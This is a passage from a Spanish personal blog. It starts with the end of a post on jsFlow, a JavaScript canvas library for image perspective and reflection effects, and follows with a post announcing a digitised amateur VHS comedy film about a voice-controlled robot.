   document.getElementById(idImage).parentNode.replaceChild(perspectiveCanvas,reflexCanvas);
   perspectiveCanvas.id = idImage;
}


Algunas características de jsFlow:

  • jsFlow solo funciona por el momento en Firefox. Próximas versiones prometen ser compatibles con otros navegadores.
  • jsFlow puede aplicarse sobre cualquier imagen (jpg,bmp,gif,png... incluso GIFs animados)
  • La imagen resultante se comporta como un objeto más del navegador, pudiéndose guardar (formato PNG)


Y para terminar una sencilla aplicación a modo de ejemplo de jsFlow recorriendo cada ángulo de una imagen, espero que os guste ¡y lo incluyáis en vuestros trabajos!





Descargar jsFlow.js 2.2Kb

27-04-2009 | PHP


Tiempos viejunos: Zordao Univerzá

Otra super producción, probablemente la última que rodó la secta, resucita de la cinta VHS y salta al mundo digital para asegurarse un futuro mejor en nuestros discos duros.

¡Flipadla ahora que podeis!

Sinopsis:

Konamiman, científico lider del Pont D´Inca, logra hacer un robot capaz de reconocer órdenes por voz. Una vez concluido decide probarlo con sujetos extraños aprovechando la visita del Paulito, quien con sus órdenes incoherentes consigue poner en peligro la lógica del robot. ¿Qué órdenes le da Paulito al robot?, ¿Conseguirá Konamiman recordar la clave de desconexión a tiempo?, ¿Tiene que doler que te impacte un limón en la cara?, ¿Qué es esto tan oscuro? Ehhh? ¡Juuua!



10-04-2009 | Secta




Suscribirse